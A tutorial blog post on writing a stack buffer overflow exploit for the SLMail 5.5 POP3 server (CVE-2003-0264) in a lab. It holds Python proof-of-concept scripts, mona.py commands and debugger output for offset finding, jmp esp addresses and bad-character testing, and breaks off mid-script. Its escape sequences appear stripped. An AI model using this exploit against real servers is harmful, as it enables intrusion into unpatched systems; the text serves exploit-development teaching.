Introduction
This post is aimed at those new to exploit development and wanting to understand the end-to-end process and types of techniques that need to be employed in order to realise a working exploit against a buffer overflow vulnerability. I acknowledge that there are more sophisticated techniques that can be employed in this area however for those looking to get into exploit development using a well-trodden road and against an older operating system helps simplify some of the concepts presented which aids understanding.
In this post, I will show the reader how to write an exploit for a stack-based buffer overflow vulnerability on a POP3 server called SLMAIL (version 5.5).
For the first version of the exploit, we are going to use a Windows XP SP3 English build with DEP in its default state (DEP is enabled by default for essential Windows programs only on Windows XP). We will then learn how to modify the exploit to work on the same system with DEP enabled, how to bypass ASLR to make the exploit work on a Windows 7 machine, and finally how to create a Metasploit module from our exploit and to customise it to cover different operating systems.
Our test lab consists of:
- Windows XP SP3 English virtual machine with IP address 192.168.65.176
- Windows 7 with IP address 192.168.65.177
- Kali Linux with IP address 192.168.65.159
To help us on the development phase we are going to use the following tools:
- Immunity Debugger (https://www.immunityinc.com/products/debugger/)
- Mona.py (https://github.com/corelan/mona)
- Notepad++
- Metasploit Framework
First Exploit
The SLMAIL 5.5 POP3 Server has a public vulnerability (CVE-2003-0264) based on a buffer overflow on the stack that can be triggered by abusing the parameter “password” when a user attempts the authentication process.
This simple Python code triggers the vulnerability and makes the server crash:
import sys
import socket
buffer = 'A' * 6000
HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'rn')
data = s.recv(1024)
s.send('PASS ' + buffer + 'rn')
s.close()
In the next screenshot we see the effect of executing such code with the process attached to Immunity Debugger. Note that although the vulnerability is in a network service that we can exploit remotely, we use the same Windows virtual machine to develop the exploit to make things easy.
Highlighted in red, we can see that there is an access violation trying to execute the code at the address 41414141. That address is the hexadecimal representation of “AAAA” (four As from our buffer of 6000 As). It is clear that we can control the instruction pointer (EIP), so it is possible to change the program behavior.
Once the vulnerability is known, the next steps to write an exploit for it are listed below:
- Find the offset on the buffer to the exact four bytes that overwrite the saved EIP on the stack, which lets us control the execution flow.
- Find enough space in memory we can control to store our shellcode.
- Find the bad characters that could affect our exploit.
- Find the value we must put in the saved EIP to make the execution flow jump to our shellcode stored in memory
First, drop the plugin mona.py into the PyCommands folder (inside the Immunity Debugger application folder).
You can check if mona.py is working by typing “!mona” in the command bar of the Immunity Debugger. If everything works, the log window will show the help screen of mona.py.
Next, configure mona.py to store data in a folder other than the default. The default location is the Immunity Debugger application folder, and on Windows 7 installations if you don’t run Immunity as Administrator when mona.py tries to store results, it will fail.
!mona config -set workingfolder c:logs%p
The code above sets up mona.py to create a folder inside the folder c:logs, with the name of the process being debugged.
Once mona.py is configured, it is time to start investigating the vulnerability we are trying to exploit.
First we need to find the offset to the bytes that could control EIP. The fastest method to do this is using a feature included in Metasploit, called Metasploit pattern. Inside the framework tools folder, we find the scripts pattern_create.rb and pattern_offset.rb. The former creates a string pattern where every three-character substring is unique (e.g..: Aa0Aa1Aa2Aa3Aa4). The second script is to calculate the offset once we know which four bytes fits inside the EIP when the program crashes.
To make things easier, mona.py can create a unique cyclic pattern like Metasploit does. To create a cyclic pattern 6000 bytes in length with mona.py, the following command must be typed in the Immunity Debugger command bar.
!mona pc 6000
The command creates the file c:logsslmailpattern.txt with the cyclic pattern inside. The pattern must be copied into the Python code. Here is how the poc2.py file would look:
import sys
import socket
# Cyclic pattern created with !mona pc 6000
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6AF7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6BF7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6CF7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6DF7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6EF7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6FF7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6GF7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6HF7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9'
HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'rn')
data = s.recv(1024)
s.send('PASS ' + buffer + 'rn')
s.close()
The next step is to attach the slmail process to the Immunity Debugger and run the poc2.py file. The process crashed and Immunity Debugger shows an access violation. We need to look at the EIP value and take note of its value at the crash moment.
To figure out the offset to the EIP control bytes, mona.py offers two options:
!mona pattern_offset 0x7A46317A (where 0x7A46317A is the value of EIP at the crash time)
!mona findmsp
The first method shows the distance to the four bytes that control EIP, in the log window of Immunity.
The second method will create the file c:logsslmailfindmsp.txt. The content of the file should look like:
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x016118e8 (length 6000 bytes)
EIP contains normal pattern : 0x7a46317a (offset 4654)
ESP (0x01cea154) points at offset 4658 in normal pattern (length 430)
EBP contains normal pattern : 0x46307a46 (offset 4650)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
Walking stack from 0x01ce8000 to 0x01cefffc (0x00007ffc bytes)
0x01ce8fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996 (-> 0x01ce93c7 : ESP-0xd8c)
0x01ce9f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 4094, length 994 (-> 0x01cea301 : ESP+0x1ae)
0x01ceab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 4092, length 996 (-> 0x01ceaeF7 : ESP+0xda4)
0x01cecf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 4092, length 996 (-> 0x01ced2ff : ESP+0x31ac)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
Walking stack from 0x01ce8000 to 0x01cefffc (0x00007ffc bytes)
0x01ce8f94 : Pointer into normal cyclic pattern at ESP-0x11c0 (-4544) : 0x01cea148 : offset 4646, length 442
0x01ce9c58 : Pointer into normal cyclic pattern at ESP-0x4fc (-1276) : 0x01ceae00 : offset 4840, length 248
0x01ce9d20 : Pointer into normal cyclic pattern at ESP-0x434 (-1076) : 0x01cea010 : offset 4334, length 754
0x01ce9dcc : Pointer into normal cyclic pattern at ESP-0x388 (-904) : 0x01cea08c : offset 4458, length 630
0x01ce9ddc : Pointer into normal cyclic pattern at ESP-0x378 (-888) : 0x01cea010 : offset 4334, length 754
0x01ce9de0 : Pointer into normal cyclic pattern at ESP-0x374 (-884) : 0x01cea060 : offset 4414, length 674
0x01ce9df0 : Pointer into normal cyclic pattern at ESP-0x364 (-868) : 0x01cea00c : offset 4330, length 758
0x01cef378 : Pointer into normal cyclic pattern at ESP+0x5224 (+21028) : 0x01cecf1c : offset 4092, length 996
0x01cef4d8 : Pointer into normal cyclic pattern at ESP+0x5384 (+21380) : 0x01ced07c : offset 4444, length 644
0x01cef588 : Pointer into normal cyclic pattern at ESP+0x5434 (+21556) : 0x01cea158 : offset 4662, length 426
0x01cef5d4 : Pointer into normal cyclic pattern at ESP+0x5480 (+21632) : 0x0160f0c4 : offset 4091, length 1909
0x01ceF704 : Pointer into normal cyclic pattern at ESP+0x55b0 (+21936) : 0x01cea2d4 : offset 5042, length 46
0x01ceF75c : Pointer into normal cyclic pattern at ESP+0x5608 (+22024) : 0x0160f0c4 : offset 4091, length 1909
As can be seen, this method offers lots of information. First of all, we can see that EIP contains bytes of the normal pattern at the offset 4654.We can see that ESP points to the cyclic pattern at the offset 4658 just behind the four bytes that control EIP, and mona.py also informs us that we have 430 bytes length to store data.
As a plus, mona.py offers information about several memory locations that contain the cyclic pattern, and several memory pointers that point directly to the cyclic pattern. We now have the information needed to write an exploit.
We can put the shellcode just behind the four bytes that control EIP (at offset 4658) because we know that the register ESP is pointing directly to this address. So to change the flow control of the process and control the execution, we just need to put the memory address of an instruction that makes a jump to the address ESP points to inyo EIP. So we need to find an instruction like jmp esp, call esp, or push esp; ret.
To find these instructions in memory, we are going to use mona.py again. In the Immunity Debugger command bar, after attaching it to the slmail process, we execute:
!mona jmp -r ESP
This command tells mona.py to search for an instruction to jump to ESP inside the process binary and the DLLs loaded in memory on execution time (by default it looks in all DLLs loaded in memory; we can use the -m switch to make it search in DLLs passed as parameters). The result is stored in the file c:logsslmailjmp.txt. Here is part of the file created:
0x7608bce1 : jmp esp | {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.02.3104.0 (C:WINDOWSsystem32MSVCP60.dll)
0x7c91fcd8 : jmp esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6055 (C:WINDOWSsystem32ntdll.dll)
0x71a91c8b : jmp esp | {PAGE_EXECUTE_READ} [wshtcpip.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSSystem32wshtcpip.dll)
0x77559c77 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:WINDOWSsystem32ole32.dll)
0x7755a9a8 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:WINDOWSsystem32ole32.dll)
0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:WINDOWSsystem32ole32.dll)
0x775aa873 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:WINDOWSsystem32ole32.dll)
0x775c0af3 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:WINDOWSsystem32ole32.dll)
0x77fab257 : jmp esp | {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5912 (C:WINDOWSsystem32SHLWAPI.dll)
0x662eb24f : jmp esp | {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32hnetcfg.dll)
0x7e429353 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32USER32.dll)
0x7e4456F7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32USER32.dll)
0x7e455aF7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32USER32.dll)
0x7e45b310 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32USER32.dll)
Any of these memory addresses containing a jmp esp instructions is good to put in EIP and make the flow jump to our shellcode.
We need consider and address any bad characters (bad char), because if the address chosen contains a bad char the exploit will fail.
So we need to figure out what bad chars affect our exploit. For this task, mona.py comes in handy again.
The task of finding bad chars is very simple once the process is understood:
- You need to create a byte array with all possible bytes (from 0x00 to 0xff) and put them all in the buffer injected in the exploit
- Run the process attached to the debugger
- Execute the exploit
- After the crash, compare the byte array in memory with the original byte array. If a byte has changed, it is a bad char
- Repeat the last step taking any bad char detected out from the array, until the byte array fits in memory equal to the byte array generated
To create the byte array:
!mona bytearray
This will generate two files in c:logsslmail: bytearray.txt, with the array in text format to use on the exploit, and bytearray.bin, with the exact representation of this byte array in memory.
Here is the exploit with the byte array:
import sys
import socket
bytearray=(x00x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f
x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f
x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5f
x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7f
x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9f
xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbf
xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdf
xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xF7xf8xf9xfaxfbxfcxfdxfexff
)
buff_size = 6000
buffer ='A'*4654
buffer += 'BBBB'
buffer += bytearray
buffer += 'C'*(buff_size - len(buffer))
HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'rn')
data = s.recv(1024)
s.send('PASS ' + buffer + 'rn')
s.close()
Note that we put the byte array just behind the four bytes that can control EIP (four “B”s in this POC), so the register ESP will be directly pointing to the byte array after the process crash.
Reload the process, attach it to the Immunity Debugger and launch the exploit.
Once the process has crashed, enter this command in Immunity:
!mona compare -f c:logsslmailbytearray.bin -a 0x01cea154 (address contained on ESP)
This command tells mona.py to compare the memory from the address given with the content of the bytearray.bin file (if no address is given, the compare function searches for the bytearray in all memory and performs the comparison).
There is corruption in the first byte. Create the byte array again excluding 0x00 and run the “compare” command again. To exclude 0x00 from the byte array use this command on mona.py:
!mona bytearray -cpb x00
Update the exploit and execute it again with the process attached to the debugger Once the process crashes, execute the following command:
!mona compare -f c:logsslmailbytearray.bin -a 0x01cea154
Now we have to exclude 0x0a:
!mona bytearray -cpb x00x0a
Update the exploit, attach the process to the debugger, run the exploit and then compare again:
!mona compare -f c:logsslmailbytearray.bin -a 0x01cea154
The next bad char is 0x0d. Repeat the process:
!mona bytearray -cpb x00x0ax0d
Update the exploit, attach the process to the debugger, run the exploit and then compare again:
!mona compare -f c:logsslmailbytearray.bin -a 0x01cea154
Here is the mona.py result:
As can be seen, the comparison results window says “Unmodified”, which means the byte array in memory is equal to the content of the file bytearray.bin.
Now we know the bad characters affecting our exploit are 0x00 0x0a 0x0d. We just need to put together all the information we have in our proof-of-concept exploit:
import sys
import socket
# BadChars = x00x0ax0d
shellcode=(xccxccxccxcc) # 0xcc is a breakpoint to stop execution.
eip = 'xd8xfcx91x7c' #0x7c91fcd8 : jmp esp [ntdll.dll] (on Little endian)
buff_size = 6000
buffer ='A'*4654
buffer += eip
buffer += shellcode
